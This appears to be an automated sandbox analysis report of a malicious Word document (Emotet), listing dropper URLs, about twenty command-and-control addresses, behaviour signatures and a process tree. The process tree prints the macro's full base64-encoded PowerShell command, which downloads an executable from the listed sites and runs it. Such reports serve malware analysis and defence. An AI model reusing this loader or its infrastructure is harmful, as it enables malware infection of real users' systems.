Analysis

  • max time kernel
    61s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/07/2020, 03:50

General

  • Target
    SecuriteInfo.com.Mal.DocDl-L.5190.13015.doc
  • Size 173KB
  • Sample200721-v9m3171jsa
  • SHA256 ee34a4962d1ff5ef105f575faf30e60f0cc8122e229cf42f2f691340bde1aa94
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://gobisz.com/wp-content/wbhJWVHG/

  • exe.dropper

    http://mytestingserver.ml/wp-admin/41m/

  • exe.dropper

    https://gachchiuaxit.com/wp-admin/wkrl/

  • exe.dropper

    http://ripro.martinface.com/wp-admin/nkf75/

  • exe.dropper

    https://pan.martinface.com/CloudreveInstaller/gf6b59/

Extracted

Family
  • emotet

C2
  • 124.45.106.173:443

  • 212.51.142.238:8080

  • 176.111.60.55:8080

  • 201.173.217.124:443

  • 108.48.41.69:80

  • 200.41.121.90:80

  • 222.214.218.37:4143

  • 173.91.22.41:80

  • 78.189.165.52:8080

  • 190.108.228.62:443

  • 209.141.54.221:8080

  • 87.106.139.101:8080

  • 74.208.45.104:8080

  • 186.208.123.210:443

  • 109.117.53.230:443

  • 103.86.49.11:8080

  • 139.59.60.244:8080

  • 153.126.210.205:7080

  • 109.74.5.95:8080

  • 91.211.88.52:7080

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Drops file in System32 directory 2 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.DocDl-L.5190.13015.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1144
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB5AGkAeQBzAGEAbwBxAHUAdABoAGEAcgBzAG8AZQBxAHUAagBpAG8AYwBoAD0AJwBkAGEAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIASQB0AHkAUABgAFIATwBgAFQAYABvAGAAYwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABzAGUAaQB0ACAAPQAgACcANAA2ADYAJwA7ACQAagBhAG8AbQByAGUAbwBxAHUAdABoAGEAaQBzAD0AJwB4AG8AbwB0ACcAOwAkAGoAZQBlAHgAcwB1AHUAeABsAHUAdQBnAHYAbwB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABzAGUAaQB0ACsAJwAuAGUAeABlACcAOwAkAHMAZQB0AGgAYwBoAHUAdQBwAHQAaABlAHUAbQA9ACcAcwBhAGMAaAAnADsAJAB5AHUAdQBkAGcAZQBhAGQAZABvAGkAdgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgB3AEUAYgBjAGwAaQBFAE4AVAA7ACQAagBhAGUAdABoAGsAbwBjAGgAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAaQBzAHoALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB3AGIAaABKAFcAVgBIAEcALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHQAZQBzAHQAaQBuAGcAcwBlAHIAdgBlAHIALgBtAGwALwB3AHAALQBhAGQAbQBpAG4ALwA0ADEAbQAvACoAaAB0AHQAcABzADoALwAvAGcAYQBjAGgAYwBoAGkAdQBhAHgAaQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AGsAcgBsAC8AKgBoAHQAdABwADoALwAvAHIAaQBwAHIAbwAuAG0AYQByAHQAaQBuAGYAYQBjAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AawBmADcANQAvACoAaAB0AHQAcABzADoALwAvAHAAYQBuAC4AbQBhAHIAdABpAG4AZgBhAGMAZQAuAGMAbwBtAC8AQwBsAG8AdQBkAHIAZQB2AGUASQBuAHMAdABhAGwAbABlAHIALwBnAGYANgBiADUAOQAvACcALgAiAFMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAZwBvAGUAcQB1AHIAaQBlAGYAbgBlAG8AdgBoAGUAawBjAGkAYQBuAG0AbwBpAGMAaAA9ACcAegBpAHQAaABnAG8AYwBsAGUAdQB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAdQBtAG0AYQBlAGwAawBhAGUAZgBtAG8AdwAgAGkAbgAgACQAagBhAGUAdABoAGsAbwBjAGgAKQB7AHQAcgB5AHsAJAB5AHUAdQBkAGcAZQBhAGQAZABvAGkAdgAuACIAZABvAGAAVwBOAGwATwBhAGAARABgAEYAaQBMAEUAIgAoACQAZwBlAHUAbQBtAGEAZQBsAGsAYQBlAGYAbQBvAHcALAAgACQAagBlAGUAeABzAHUAdQB4AGwAdQB1AGcAdgBvAHoAKQA7ACQAaAB1AHUAcABjAHUAYQBkAHkAdQBoAGYAZQBlAHEAdQBjAGEAdQB0AHQAaABpAG8AbQA9ACcAZABhAGsAdABpAG8AZAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGoAZQBlAHgAcwB1AHUAeABsAHUAdQBnAHYAbwB6ACkALgAiAGwAYABlAE4AZwB0AEgAIgAgAC0AZwBlACAAMgA4ADIANQA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAYABlAGEAYABUAEUAIgAoACQAagBlAGUAeABzAHUAdQB4AGwAdQB1AGcAdgBvAHoAKQA7ACQAagBlAHUAeQBwAGEAbwBzAHcAaQBlAG4AagBlAHUAaABkAGUAbwB0AGgAaQBhAHgAPQAnAHoAZQByAHMAYQBpAGwAYwBoAGEAbwB0AHoAdQBhAGsAegB1AHUAZAB5AGEAaQBsACcAOwBiAHIAZQBhAGsAOwAkAHoAbwBpAGoAbgB1AGEAbABrAGUAZQBrAHcAZQBlAHgAeABvAG8AeAA9ACcAeQBvAGUAcQB1AHAAbwBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAbwBlAHAAcQB1AG8AYQBoAD0AJwB3AGEAdQB6AHQAaABvAHUAZAByAGkAYQB0AGcAdQB1AGMAaAB0AGkAYQBnAGMAdQBuACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1040
  • C:\Users\Admin\466.exe
    C:\Users\Admin\466.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1824
    • C:\Windows\SysWOW64\SensApi\itss.exe
      "C:\Windows\SysWOW64\SensApi\itss.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1736

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1144-2-0x0000000008900000-0x0000000008904000-memory.dmp

        memory/1144-5-0x000000000AA40000-0x000000000AA44000-memory.dmp

        memory/1144-6-0x000000000BAC0000-0x000000000BAC4000-memory.dmp

        memory/1144-7-0x0000000006D70000-0x0000000006F70000-memory.dmp

        memory/1736-13-0x0000000000260000-0x000000000026C000-memory.dmp

        memory/1824-9-0x00000000002C0000-0x00000000002CC000-memory.dmp